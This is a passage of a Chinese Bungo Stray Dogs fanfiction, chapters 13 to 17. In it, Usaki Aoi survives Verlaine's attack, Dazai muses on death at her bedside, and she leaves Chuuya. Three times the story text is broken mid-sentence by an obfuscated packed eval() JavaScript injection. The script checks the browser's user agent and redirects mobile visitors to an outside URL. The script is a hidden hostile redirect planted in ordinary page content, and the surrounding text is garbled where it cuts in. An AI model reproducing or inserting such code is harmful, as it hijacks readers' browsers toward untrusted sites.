太宰治恹恹地站在阴影里,蒙住的那只眼睛有些无精打采。 “以他的逻辑来说,我们这些人恐怕也是他的暗杀对象呢。” “那家伙……”中原中也咬牙切齿地拉拉手套,却又说不出更多的话。 也许更多的是茫然。 他最终深深地吸气呼气,脱下帽子半跪在地,“首领,就像我当初向您起誓的那样。” “我会捍卫港口mafia。” “甚至高于我的生命。” 森鸥外看着这颗逐渐锋芒毕露的钻石,就在这两天之间,港口mafia遭遇了一次意外事件。 而在意外事件过后,中原中也毫无疑问从中脱颖而出,甚至在半开玩笑半认真时说的“论你心中最能担任干部的存在”中,他的名字也占大多数。 少年就像坠入黑暗的太阳。 也正是属于港口mafia的月亮。 太宰治小小地“切”了一声。 不要以为森先生不知道啦,他明明对组织内部的各种传言了如指掌呢。 比如“谁是港口mafia中最居家的男人”“谁最时候当干部”“谁最有良心”…… 甚至是“有谁对中原中也表达过善意,希望他能够回到光明之中”。 组织的首领既是权利的主人,却也是权利的奴隶,他要捍卫组织,也从掌握组织开始。 不论是在驾驶这座大船的巷道上,还是定期清理缠住涡轮的水草。 . 薄叶葵正走在熟悉的道路上,规整的街道被曲折的小巷子取代,边上就是挤挤挨挨的民居,其中隐藏着无数危险。 作为在其中长大的孩子,她对这里再熟悉不过。 今天的太阳很好,薄叶葵想着,忍不住再一次加快了脚步。 在那条熟悉的巷子口,她停下脚步,向内望望—— 一抹熟悉的幽绿色笼罩的墙角下,生长着几根乱糟糟的杂草。 它们没有在冬日里死去,而是顽强地活下来了。 太好了! 薄叶葵露出笑容,她不知道自己为什么要高兴,也许是记忆深处有什么被触动了。 中原中也有点别扭的脸浮现在脑海里,是他在叮嘱自己以后最好不要单独走这条小巷子。 记忆里他们唯一一次争吵好像也来源于此,那天他因为在羊中有事没能及时出现在巷子门口,拜托白濑来看着她时发现她等不到他,已经自己若无其事地走了一大半。 虽然白濑确实有好好执行他 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因为这里本来是一栋即将要拆迁的烂尾楼,不知道被哪个想要敛财的组织占据,开始将本就狭小的内部继续用捡来的废弃板材分割,租给一群有手有脚却无法真正在横滨混出头的穷人。 也不知道究竟算不算在做好事。 但薄叶葵看到了弹孔和血迹。 地上的一摊还未完全干涸的血迹里,躺着几枚她认不出型号的子弹。 明明是走出了巷子,站在了太阳底下。 身体的皮肤上却突然爬上一层阴恻恻的含义。 像是命运的幽灵终于拉开裙摆将她笼罩。 年仅十五岁的女孩一脚深一脚浅地走进楼里,即使思绪即将凝滞,也能凭借肌肉记忆精确地找到自己降生并生活了十几年的小屋子。 无需她推开门,因为那摇摇欲坠的房门早就被人一脚踹开,狭小的房间内躺着两个她再熟悉不过的人。 薄叶葵的妈妈和爸爸。 她今天来想要询问与争辩的两个人。 鲜血浸透了小屋内唯一算得上完整的东西,那两床坑坑洼洼又泛黄的被褥。 那床她睡过的被褥上,如今正倒着两具浸泡在血泊中的身体。 她不知道怎么来到妈妈与爸爸面前,先伸手触及爸爸的鼻息。 毫无生息。 他惊恐的眼睛还在瞪着门的方向。 然后是妈妈…… 不、她不敢,她不敢去看。 救救她,谁来救救她…… 但薄叶葵的手臂很稳定地避开侧躺着的妈妈身体上的枪伤,触碰她的鼻息、她的颈侧、她的心跳声。 温热的,似乎还有一点悦动。 女孩的身体霎时间如蜡块般融化,又重新组合成一个完整的人类。 几乎是瞬间的时间,她就冷静地用棉被堵住还在流血的上课,自己连滚带爬地冲到走廊上。 现在去找人,说不定妈妈还能活下来! 电话,电话呢? 她现在可以给别人打电话求救! 身边有具身体轰然倒下,是隔壁脾气暴躁的男人,他的眼睛也睁得很大,庞大的身体几乎将整个走廊堵住。 他一直就在这里,甚至走廊中还有不少其他人的尸体,只是薄叶葵没来得及看到。 烂尾楼中的信号很差。 薄叶葵飞速跑下楼,脚步像是悬浮在楼梯上。 再穿过那条巷子…… 砰—— 身体撞上另一个人的身体,重新组装好的四肢似乎又融化了,大滴大滴的眼泪从薄叶葵的眼睛里喷溅出来。 她抬头,被眼泪充盈的眼睛只看见来人的身材高大,肩膀处垂落着金色的发丝。 就像是太阳的尾焰。 薄叶葵顾不上自己被擦破的手肘和膝盖,跪坐在地上去够眼前人的西装下摆。 “先生,求求你救救我妈妈!” “砰——” 又是一声身体碰撞时发出的响声。 太快也太利落,因此女孩撞在墙壁上滑落的那道声音几乎可以与之重叠起来。 魏尔伦收回手,冷淡着看着不远处因为他随手一击就几乎昏死过去的女孩。 她的后脑勺开始流血,血液顷刻间就将巷子里的杂草砸落得偏转过去。 实在是太弱小了。 这样的存在,为什么能待在中也身边? 对方的眼泪混合着血液一起流下来。 嘴里好像还在喃喃自语着什么。 是什么呢? 他没有听清。 算了,并不重要。 魏尔伦冷淡地想着,根据前不久他得到的名单,自己这时候应该在毁灭那个叫做【旗会】的组织。 但没想到只是路过,居然就这么撞上了另一个他想要杀死的人。 人的身体里血液是有一定占比的,而血液流干的时间是……他几乎不需要计算就能得出这个女孩死亡的时间。 那也就没必要再继续浪费下去了,他整理好着装,将刚刚相撞时造成的衣服褶皱抹去,前往自己真正的目的地。 . “……” “……你来了。” 带着红围巾与黑手套的男人向她微笑着,伸出手来牵她。 薄叶葵稀里糊涂地将手递上去,“中也?” “嗯。”看上去要成熟不少的中原中也微笑着应和她,那双钴蓝色的眼睛不像她记忆中那样年轻,像是冬日的海面。 但手心握住她时很温暖。 即使是带着手套,也能感受到厚实的茧。 薄叶葵心中怪异,这个中也看上去像是未来的中也,但未来的中也……为什么这么矮? 难道说自己做梦的时候因为脑补不出他成年后的身高所以只能把成熟版中也限制在十六岁的身高里。 抱歉抱歉,她在心里说。 “我们这是……?”道完歉,她就轻轻拉动身边的人。 一直在牵着她往前走的人轻轻抬抬下巴。 一座并不气派的墓碑立在他们前进路线的尽头,墓碑前还放着一大束粉色的绣球花。 好像很眼熟。 14.第十四章 薄叶葵再次醒来时,入目是一片洁白,稍有些刺鼻的消毒水味充斥鼻尖,喉咙中传来些许撕心裂肺的痒意。 也许是因为用上了止痛泵,又经过输血,身上的伤口早就不再传来剧烈的痛苦。 眼睛艰难地眨动两下,每次睫毛根部都会传来稍许撕扯的痛苦。 与门外的一片嘈杂不同,房间里的另一个人安静得堪比幽灵。 不、或者他本来就是幽灵,港口mafia的黑色幽灵。 “……太、宰?咳咳、先生?” 倚靠在半拉开的窗帘上的少年轻轻“嗯”了一声,眼中不知为何流露出别样的情绪。 “薄叶小姐,身上的伤口很疼吧?” “哎……?” “我常常在想,人活在这个世界上难道真的有一丝一毫的意义吗?” “啊……?”正常人看到病人清醒过来不是应该先祝贺之后再嘱咐要珍惜生命吗? 显然,太宰治不在正常人之列,他有些过长的头发垂落在缠绕在脸上的层层绷带上,另一侧的鸢色眼眸中也满是阴翳。 “您被送到医院时,只差一点就能完全进入黄泉比良坂了呢?” “死亡究竟是什么感觉?” 太宰治的眼睛黑沉沉的,语气却逐渐高昂,“是不是完全不像这个世界一样污浊?” “只要拥抱死亡……” 他低头喃喃自语,身后的窗帘被微风吹动,在他身后披上一层纯洁的白纱。 “……我不想死。”薄叶葵收回视线,用嘶哑的嗓音说出了开口的第一句话,“妈妈,怎么样了?” “啊啊,还真是和那条小蛞蝓一样,是个不懂得死亡美妙的人。”被打断畅想的少年不怎么满意地抱怨几声,从近乎虚幻的黑暗中脱离,“把你送来医院的人也办理了另一位女士的入院,具体结果暂时不知道。” 那就好。 薄叶葵终于闭上眼睛,两行眼泪顺着面庞一直流向耳后。 “不是你们港口mafia送我来医院的吗?” “当然不是啦!倒霉蛋小姐,哦不对,应该说你很幸运哦。” “……那个伤害我的人是谁?是不是他……” 是不是他,杀了我家那片区域所有人? 太宰治何其聪明,有些话不需要薄叶葵说出口他也能懂,因此他摇摇头,“不哦。” “虽然魏尔伦、也就是攻击你的那位先生确实想要杀掉你,但贫民窟那一片,是因为另外两个组织争斗才被误伤的。” 这件事即使连森先生都感到十分烦躁—— 横滨当下的秩序并不十分完备,各种大大小小的势力鱼龙混杂,时不时就会因为地盘与资源的摩擦争斗起来,不只是相关人员,就连再普通不过的横滨市民也是深受牵连。 这副混乱的模样,与森鸥外当初夺取港口mafia首领之位时没什么改变。 没等他拿到资金大展拳脚,从国外一路找过来的魏尔伦又给了他沉重一击。 这几天他不但头发掉了一大把,就连换装小游戏都玩得不是那么走心了。 “太宰先生认识那个金发男人?”薄叶葵企图延长对话来获得更多信息。 “赫赫有名的【暗杀王】。”鸢眼少年无趣地拖长语气,“做我们这一行的,没几个人会不认识吧?” 呃,这话听上去怪怪的。 “那既然他是为杀了我而来的,我可以知道原因吗?”不是内行人的薄叶葵完全没听过这个名字。 “哎?” 不知想到了什么,太宰治脸上露出一点兴味,“是因为……” 他特意走近两步来到病床边,像是要好好观察到薄叶葵的表情,又像是一只已经将家中桌子上瓶瓶罐罐统统推落后、迫不及待地想要知道主人反应的猫。 “是因为中也哦,薄叶小姐。” 薄叶葵察觉到了他语气的不对劲,但她只能向着合乎常理的方向去猜测,“那个人跟中也有仇?” 所以才来杀她,因为她的存在是中也的拖累吗? “不哦。”太宰治兴致勃勃地伸出一根食指轻摇,看上去憋着一肚子坏主意。 这副模样让薄叶葵想到那天来店里的俄罗斯先生,名字太长她没记住,但这种要搞事的样子…… 这种神态并不直接体现在脸上,而是被深埋在身体内里,只有在某个瞬间才会炸出些许光亮。 作为小动物直觉系的她有点不想猜下去了,干脆缩缩脖子将自己团进被窝里。 放弃的模样倒是把太宰治逗笑了,但笑归笑,本身就怀揣某种恶意的他并没有打算放弃自己的目的。 “与薄叶小姐所说的恰恰相反,魏尔伦先生他……爱着中也呢。” “……啊?” 刚刚钻进被子里的薄叶葵又将脑袋拔了出来。 “因为从某种意义上来说,他们可是兄弟啊。” “哥哥出于对弟弟的爱,所以杀死了他身边‘教坏’他的人。” “事情就是这样。”太宰治眨眨眼睛,“薄叶小姐,您怎么看呢?” “那中也呢?他会不会也有危险?”薄叶葵下意识地问。 她本来以为按照中也的实力,在这个世界上不会有什么人能伤害他的,所以即使是敌人也没有关系,但如果是中也的哥哥,又有【暗杀王】的称号,那么实力应该很强吧? 太宰治没有等来别的回答,忍不住轻啧一声,“什么嘛,居然这么关心那条小蛞蝓。” 那森先生那边岂不就更加不好交代了吗?毕竟他非常不希望小蛞蝓和其他非组织的人建立羁绊。 但邀请薄叶葵加入港口mafia……中原中也恐怕会第一个跳出来反对吧。 想到这里,他不得不打算对女孩子说一些重话了。 “中也他也受了重伤哦。”转眼间太宰治就又换上一副新的面貌,“不光是他……港口mafia在这次大战中减员严重,就连旗会,都全军覆没了。” “下一个目标,恐怕就是我和森先生了。” “薄叶小姐,如果让魏尔伦知道,您没有死的话……” 魏尔伦在薄叶葵的脑海里,此时此刻已经变成了一个实打实的谜团。 如果太宰治没有骗她,中也岂不是有个热爱杀人的奇葩哥哥? “中也没事吧?还有他俩是一个人种吗?” 在这间还算安静的病房内,薄叶葵艰难地问出了这句话。 太宰治裸露的脸颊好像抖动了一下,应该是在憋笑。 “小蛞蝓还活蹦乱跳的、生命力顽强得很,他们确实是兄弟呢。”他半靠在病床边,“但这好像不是重点吧?” “薄叶葵小姐,暗杀王的事件,可以说是意外,也可以说不是意外。” “只要中也还处于港口mafia中,针对他的刺杀只会多,不会少。” “甚至由于他的强大,这份对他的恶意就会更多地流向了他身边的人吧?” 薄叶葵并不笨,所以她理解他的言下之意。 可是…… 可是。 第一次见面时是中原中也无家可归,却仍在安慰和告诫她不可以将自己置于危险之地。 第二次同样是她利用他的善心,将自己从同学的欺凌中解救出来。 中也一直在向上走,但她呢? 妈妈还在手术中不知结果,爸爸已经中弹身亡,她自己也躺在医院的病床上奄奄一息。 除了中也之外,她还要去麻烦夕和真理子吗? 自己已经麻烦她们够多了。 不、应该说对中也来说,她应该也算是个麻烦吧。 如果自己真的死在这次意外中,对中也来说又会有什么不同呢? 甚至就连家中只是死去了自己,可能妈妈和爸爸都能过得更加轻松吧? “况且您不感到愤怒吗?”太宰治问:“毕竟这次入院,也可以说是和中也有关吧?” 他看出了她的伤心迷茫,所以才故意这样问她。 “……是与中也有关。” “但这并不是中也的错。” “如果像太宰先生说的这样,那个人是中也的哥哥,那么中也所受到的煎熬,才是我们之中最多的那个人啊。” 她不知道中也是否清楚自己入院的事,但旗会……即使他只提到过他的朋友们只言片语,她也能感受到他的幸福。 连薄叶葵自己都没有意识到,她在近乎平静地说出这一切时,眼角依旧有眼泪不断滑落。 “居然是这么死板的人吗……” 床边少年的语气弱了很多,不知道是否是因为她的眼泪。 “小蛞蝓有你心里想象的那么好吗……” 不过只是窃窃私语几句,还算有道德操守的太宰治就回归正题,“所以像这样继续下去,您离死亡只会越来越近哦。” “啊啊,死亡究竟是什么感觉呢?” 他在进入港口mafia的一年里,并没有寻找到什么生命的意义, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“也许我还是不甘心,就算眼下是一团糟,我总是幻想着未来的时光。” “所以您可以开始讲述未来,好叫我将最后一点幻想也彻底抛弃。” “我……”太宰治头一次感觉到艰涩。 任由他在审讯室中如何巧舌如簧,将审讯对象逼上精神崩溃的绝路,但眼前的少女并不是他需要拿下的敌人,他也对干涉她的生活没什么兴趣。 ……但安慰一个精舍崩溃的女孩? 他目前还没有这种经验,或者说,对于同样在寻找生之意义的人来说,说服她也就意味着要扭转自己来到这里之后所说的一切。 好麻烦啊……先打好腹稿,毕竟开再多的玩笑,他也并不想真正地将并非敌人的小姐诱导着走向死亡。 不、不对劲。 太宰治不是第一次见薄叶葵,总体来说,她就像生长在巷子中的坚韧野草,执拗地朝向有光的方向。 这样的人,会因为他的三言两语就将自己的生死交给一个自己不喜欢的人评判吗? 还是说在她身上,有着别的东西? 薄叶葵等了一会儿,身侧的人并没有发出哪怕是一个音节。 她用力挤出一个笑容,忍着剧痛伸手将眼泪擦去。 “我知道了,谢谢你告诉我答案。” “可能死亡也并不算困难?那位魏尔伦先生下手就还算利索。” “也许我……” “砰——” “不是这样的!” 房门被猛地推开,撞到侧边墙壁发出一声巨响,一只手按住了摇摇欲坠的门板。 走廊的嘈杂声没了阻隔,一股脑地涌进这间不算大的病房里,纷乱的人气袭来,让几乎感到自己的灵魂正在离开身体的薄叶葵稍稍清醒了片刻。 至于来人说的那句话,在一片兵荒马乱中没人听得清。 她迷茫地看向门边—— “雪野小姐!请不要乱跑!您的腿才刚刚固定好。”这是神色严厉的医护人员。 “真是意外有活力的孩子。”看上去轻松跟在雪野夕身后跑过来的红发青年慢吞吞地感叹,“这两个人是你的朋友吗?” 冲进来的人无暇理会身边的这一切。 她眼睛上缠着好几圈绷带,漆黑的长发乱糟糟地堆在身后,右腿上还打着石膏,刚刚的巨响正是因为石膏撞上门板才发出来的。 气还没有完全喘匀,她就已经扶住门板支撑起身体,用比刚刚大很多的音量反驳躺在床上的薄叶葵—— “不是这样的!” 15.第十五章 “……夕酱?” “死亡没什么好的。” 听见她声音的雪野夕单腿跳过来,摸索着找到她放在身侧的手,也就理所当然地感受到了薄叶葵手心的眼泪,但她还是握紧了。 “死亡也许并非永恒的安息,反倒是……” “另一片虚无的开始,甚至是一个循环的开端。” “只有当心甘情愿地生活到生命的尽头,才不会陷入这种可怕的境地里。” “迷茫着走入死的世界,最终只会连想要死去的意义也忘记。” “我……”薄叶葵吸吸鼻子,“……我在这边。” 因为看不见,雪野夕是握住薄叶葵的手朝着太宰治的方向说了一大堆安慰人的话。 太宰治在她另一边一动不动,就连呼吸都放得很轻,就好像屋子里没有他这个人一样。 雪野夕:“……” 她转过来,即使现在眼睛上缠着绷带,却也让薄叶葵有一种她正牢牢注视着自己的错觉。 “而且不要老是想着自己倒霉的未来啊。” “你未来会过得很好。” “如果人的运气是有限的,今天过后让我疑惑的事情已经解开了,我愿意把运气分给你。” “未来等待着你的会是幸福。” . “所以那位小姐,就是港口mafia的股东雪野夕小姐啊。” 太宰治戳着杯子里的冰球,将侧脸贴在自己的右臂上,向着身边新交的两位好友抱怨。 “啊啊,喊着什么‘不是这样的!’冲进来,感觉我都要被她灼伤了。” 在他身边是安安静静喝着酒的织田作之助和老老实实喝番茄汁的坂口安吾。 说起与织田作之助的相识,也是因为那天在医院,他看到雪野夕正在激情安慰朋友,想到自己在这里恐怕不太好,于是向房间另一侧的太宰治点点头,示意这孩子可以跟自己先出去,给两位小姐留出个人空间。 所以就在他们出去畅谈的几分钟,让他们彼此都觉得对方是个有趣的人,因此迅速生出了友谊。 “但我感觉太宰并不讨厌那两位小姐。”织田作之助遵从内心,发表了自己真实的想法。 “哎?那种一见面就弄出惊天动地大动静的人?”太宰治瞪圆眼睛,想到雪野夕单腿从病房里跳出来的样子。 嘴里还在嘀咕着“哇塞我刚刚一定说了很帅气的话”。 啧。 “我只关心雪野小姐是怎么受这么重的伤的。”坂口安吾疲惫地叹了口气,“本来我们就资金不足,现在大股东还在横滨受了重伤。” 真是既魏尔伦成为港口mafia干部之一后的第一大倒霉事。 “我是在滑雪场里遇到她的。”救了雪野夕并在将她送去医院的路上又捡到薄叶葵的织田作之助回忆,“唔……” “雪野小姐从滑雪场的雪地里爬出来,好像说了两句俄语,具体我记不清了。” 而且那两句话,怎么听怎么像脏话。 “说起来你还在打工吗?织田作君?”坂口安吾咽下番茄汁,“毕竟你说你已经改行准备写小说了,这是最近没有足够的积蓄买下一个落脚点。” “这个啊,现在够了。”红发青年不好意思地摸摸头,“虽然很想拒绝,但那天雪野小姐说我救了她和她的朋友就一定要收下报酬。” “所以硬塞了三根金条跟我。” “噗——” 正在喝酒的太宰治喷了,“哇哦,一个年轻的女士为什么会随身携带金条?” 织田作之助诚实摇头,坂口安吾若有所思。 “安吾安吾,说嘛说嘛说嘛。” “呃……应该不算暴露隐私。”社畜少年推推眼镜,“雪野小姐很喜欢长得好看的人,所以经常搭讪,而且性格……乐于助人?” “遇到好看又可怜的人,也许就会获得她金钱的救济也说不定。” 毕竟她是在街上向一对好看的男生搭讪,左边拒绝后伸出的手平移到右边的人。 第二天她告诉坂口安吾她被拒绝了两次。 好心态。 太宰治笑得差点从椅子上滚下去。 “织田作,原来你是好看又可怜的人。” 他将杯子中的酒一饮而尽,期间因为不停的笑好几次都差点呛到。 但喝完他就匆匆告别,看上去蔫巴巴不少,“啊啊,算算时间该离开了,没喝到加了洗洁精的酒真是遗憾。” “我们酒馆是不会做这种东西的,先生。” “酒保先生真死板啦。” “我要快点走了。”太宰治叹气,“毕竟我可不想喝酒的地方被蛞蝓砸掉啊。” 一头雾水但捧场的织田作之助:“什么蛞蝓这么厉害?” 知道一点内情的坂口安吾:“……不会是我想的那位吧?” 太宰治挥挥手,留下一个潇洒的背影。 然后很快潇洒不出来。 他被手里握着一封信的中原中也一脚从巷子里踢飞三米,直到撞到墙才停下来。 身边是乱糟糟的垃圾桶,腥臭腐朽的味道传过来,身上的西装沾上灰尘,凌乱地堆叠在身上。 “你对小葵说了什么?” 中原中也走过来拎住他的衣领,“为什么她会留下一封信后不告而别?” 甚至于他在听到前去调查小葵身世的属下报告时,脑海里竟然全是茫然。 从失去好友的悲痛中走出,他“杀死”了魏尔伦,又像神一样宽恕了他,从此魏尔伦进入港口mafia地下,成为隐秘的干部。 而在此期间,没有一个人告诉他小葵也受到了魏尔伦的袭击,差点死掉后被送去抢救的医院,与治疗他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629994|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是同一家。 也许推着他们的车子也曾擦肩而过,但两个昏迷的人都未察觉。 所以在听到下属说薄叶葵的家庭并不幸福时,他竟然一句话都说不出来。 中原中也没有见过出生在完整家庭长大的孩子。 在【羊】中时,白濑他们对小葵展现出的只有轻蔑与微妙的嫉妒。 而在港口mafia中,孤儿也实在太常见,大家忙着战斗,根本无人在意彼此的出身家庭。 以至于他有些忘记了,原来十五岁的薄叶葵同样背负了很多忧愁。 “我是不是太差劲了?”他拿着信迷茫地询问尾崎红叶。 得到对方哀伤又包容的眼神。 “中也,也许薄叶小姐的选择对现在的你们两个来说都很好。”她看向满脸不解的中原中也,“你们其实都还只是孩子,却已经经历了太多。” “给彼此留出时间,去思考自己的未来吧,连自己的未来也无法掌控的人,又怎么能值得交付呢?” “况且一份足够信任对方的感情,经得起考验和等待。” 中原中也并不喜欢离别,但他暂时接受了尾崎红叶的解释,并且要求她将对自己语言与礼仪的培训提上日程。 尾崎红叶摇摇头,看出他是想暂时用繁重的工作强迫自己,干脆先让他去休息。 得到了假期的中原中也还知道了一件事,那就是在小葵离开前,最后见到的港口mafia的成员是太宰治!!! “离开是薄叶小姐自己的选择啊。”记忆回笼,被踩住肩膀的太宰治轻声呼痛,“中也。” 他甚至以为以森先生的为人,那封信都不会流落到中也手里呢。 所以是想要他死心的更彻底一点吗…… “你无法否认,靠近我们的确很危险。” “她的父亲死于其他mafia争夺地盘的恩怨,母亲在治好后也打算抛弃她自己去别的城市开启新的生活。” “在这种情况下,不被怨恨,已经是很好的结果了啊。” 中原中也脸上的怒气不断加深,踩住太宰治肩膀的力道却越来越轻。 “承认吧中也。” “即使你想要留住薄叶小姐,也缺乏理由啊。” “呃——” 一记用力后,中原中也一言不发,转身向巷子外走去。 “真是暴力的小蛞蝓。”恢复自由的太宰治按着肩膀起身,最终还是控制不住自己的嘴贱—— “况且女孩子是很重视好朋友的话的哦。” “经过这件事的中也,印象分一定跌到最底层了吧?” “哇塞,即使未来想要破镜重圆都非常有难度呢?” “梆——” “哇啊啊啊——” 追上去嘴贱了两句的太宰治,最终还是被中原中也的铁拳打飞了。 16.第十六章 金碧辉煌的宴会上,衣衫得体的宾客们窃窃私语,时不时交换无伤大雅的小玩笑。 而在人群中,赭发少年有些不太自在的活动了下肩膀,好在只是很轻微的一下,并不为旁人知晓。 “还是不适应这种环境吗?” 在他身边的女人挑动自己的红色长发,露出了然的微笑。 “……红叶姐。”第一次参加宴会的中原中也低声告饶,“boss居然将这种国外会议交到我一个毫无经验的人手里……” “但中也依旧有自信自己可以处理好,不是吗?” 抱怨归抱怨,尾崎红叶可没看出他的退缩之意。 “当然!” “很有精神嘛。”她轻摇手中扇子,“放轻松就好,这次只是联谊会而已,中也只需要找熟人聊聊天就好哦。” 话毕,她向前一指,指尖落在远离人群的两位年轻女士身上。 她们一个白发蓝眼,神色冷淡,拿着白色棋子的手正在桌面上轻轻敲打着;而另一个执黑棋的少女神情自若,绿眼睛顺着尾崎红叶的方向看过来,顺便对他们微微颔首。 那是…… 中原中也走过去,“雪野小姐,源小姐。” 随着他的走近与打招呼,身后的人群好像隐隐约约骚动起来。 感受到如芒在背的中原中也莫名其妙想到那条死青花鱼的话:女孩子对闺蜜的意见都是很看重的,一段恋情如果闺蜜一直在劝分,那么男方很可能很快就会被甩掉哦。 再看源小姐冷淡的表情…… 其实根本没表白的中原中也莫名其妙倒吸一口凉气。 “你是真理子的熟人?”白发少女扔下棋子,面无表情地起身打招呼,“你好,我是源未来。” “好久不见哦,中原君。”雪野夕也笑眯眯地点头,不过因为她右腿上还打着石膏,所以并没有站起来。 “您还好吗?”中原中也在搞清楚源未来是源真理子的双胞胎姐姐后松了口气,同时有点不太好意思地问雪野夕。 废话,港口mafia的大股东在横滨受了重伤,并且很快就离开了,森先生知道这个消息后差点一口气没上来。 还好对方没提撤资的事。 股东可以走,投资不能撤啊! 前不久,一场白雾将整个横滨笼罩,同时传来一名异能者留下五千亿的消息,隐匿在雾中的野心之花在不断绽放,很快席卷整个横滨。 而在此时,森先生却反常地派出尾崎红叶与中原中也来到欧洲赴宴,一来是打着拜访股东的旗号,另一个嘛。 如果港口mafia获得了那五千亿的遗产,那么毫无疑问将成为横滨的龙头组织,此时进一步开拓海外市场也就是很有必要的了。 不愧是森先生,既要又要的,雪野夕心想。 “呵呵,这只是个普通宴会呢,中也不必那么拘束。”尾崎红叶掩唇轻笑,“还是说,因为boss的话让你紧张了?” “……因为雪野小姐是小葵的好朋友。” “追求女孩子就从闺中密友开始搞定吗?”她点点头,“这倒是很不错的思路呢。” 中原中也顿时脸红了,“大姐,我、我……” 没说出个下文,他又挫败下来,“还是我的错,如果不是……小葵也就不会不告而别了。” 闻言,尾崎红叶的眼神也稍稍黯淡,“没关系,妾身相信,如果是中也,就一定会有不同的结局的。” “放心啦放心啦。”在一边吃瓜的雪野夕举手冒泡,“我也很看好你们两个的!” “追女孩子的第一要义……” “嗯?”中原中也打起精神。 “就是要帅!”雪野夕提高声音,“没有外表,可能连被了解内在的机会都没有,所以男菩萨才会这么伟大……” “她疯了。”源未来看着暗暗点头的中原中也,紧急纠正,“追女孩当然是要用真诚,只要我掏出银行卡往她面前一放,或者给她一张空白支票让她随便填……” 还好还好,虽然觉得略微有些不靠谱,但中原中也感叹,这两条他都可以做到。 就这样,在心底开始规划“自己和小葵重逢时他要说的话”的港口mafia重力使,抱着期待回归了工作当中。 . 薄叶葵醒来时,头脑还有些发晕。 这段时间她还在倒时差,从欧洲回来不久,她还是能回想起与雪野一家共同生活时的轻松愉快。 这就是家的感觉吗? “夕酱,有时候我会怀疑,你是不是会预见未来?” 在某天晚上,睡不着的薄叶葵看着刚刚取下眼睛上绷带没多久的雪野夕,对方笑了笑,给她也倒了一杯浓浓的红茶。 “也许我真的见过未来呢?” 圆滚滚的栗子酱在桌间跳来跳去。 薄叶葵猛然想起自己在重伤时做的那个梦。 穿着玫瑰红色衬衣、带上红围巾的中也,他温和而疲惫地向她伸出手,两人并肩行走在一片清幽的地方。 道路的尽头,是一个人的墓碑。 墓碑前还放着一束绣球花。 绣球花…… 她不是第一次见到有人买绣球花。 而那个人现在就坐在她对面。 “那些也并不能算是未来。”雪野夕歪歪头,“应该算是……平行世界?” “还是非常不稳定的那种,我们现在这个要稳定得多。” 薄叶葵:“……” “就这么直白地说出来真的……?” “没问题。”雪野夕理直气壮,“我在另一个世界里还参加了你和中原君的婚礼呢,说不定再看下去我还能看到你俩的孩子。” 薄叶葵:“喂!” “知道我送你的糖吧?其实你俩结婚的时候伴手礼就是呜呜呜!” “这、这个以后再说!”薄叶葵飞扑着过去捂住她的嘴,“你不是说那是平行世界吗?也就是说也不一定……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720826|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“啊,这下活泼多了嘛。”雪野夕表示投降,“你这是欺负残疾人。” “另一个世界里我们可是很好的朋友,你的孩子就差叫我义母了。” “这个世界里我们认识的时间也并不短暂,所以,小葵你真的不打算向我倾诉一下吗?” 良久,薄叶葵才像泄气了一样,问她:“虽说你说在另一个世界里,我和中也结婚了。” “嗯嗯。” “但这是怎么做到的?那个世界里他没加入港口mafia?” “恰恰相反哦,那个世界的中原君是mafia的首领。” “哎?” “这就是爱情啊小葵。”雪野夕伸出一根手指摇了摇,“首领爆改人夫,怎么样,有没有心动?” “……那我呢?” “嗯?” “我真的想不到。”在夜风中,薄叶葵把下巴放在膝盖上,最终将自己缩成小小一团,“我……现在跟无父无母也差不了多少,也不是很聪明,长相的话应该也是中也更漂亮吧?” “你说来说去,就只看到中原君的优点和自己的缺点吗?” 被质疑的人一愣,从膝盖上抬起头。 “最起码在我看来,葵很坚强,即使遇到不开心的事也会好好生活下去;热爱生活,即使是打工也依旧没有放弃自己喜欢阅读的爱好;而且葵总是说自己平庸,但在别人眼中,中原君他们还是穷凶极恶的mafia呢。” “另一个世界里你和中原君相遇时,是一家大公司的职员,被派来进行交接记录工作。” “因为另一个世界的我……也算是被人委托来照顾一下港口mafia的生意,所以和你阴差阳错认识了。” “你向我提到过自己的过去,只说自己的父母已经丧生接近十年,其余就没有别的。” “所以我并不知道他们的为人,那天去找你的时候又正好遇上那两个可恶的俄罗斯人。” “抱歉,小葵。” “不是的!” 一滴眼泪坠落在红茶里,荡漾开一圈涟漪。 “夕酱是最不需要向我道歉的人。” 还在哽咽的人正在努力擦眼泪,“我、我会先回去继续读书的。” “嗯。” “像、像夕酱说的那样,以后成为职场高质量成功女性。” “嗯。” “到、到时候,就算是不和中也结婚,自己一个人生活绝对也没问题的!” “嗯?” 听完好闺蜜大女子宣言的雪野夕愣了一秒,然后大笑起来,不知道想到什么,越笑越大声。 “别笑啦!” “我只是想到了某个人改了三十多次稿子,只为了……还是不说了。” “什么稿子啊?对了夕酱,你认识太宰先生吗?” “……不认识哦。” “哎?另一个世界里的太宰先生没有加入港口mafia吗?” “……不知道呢。” 17.第十七章 随着“砰”一声,礼花炸开,缤纷的彩带浇了身穿正装的薄叶葵一身。 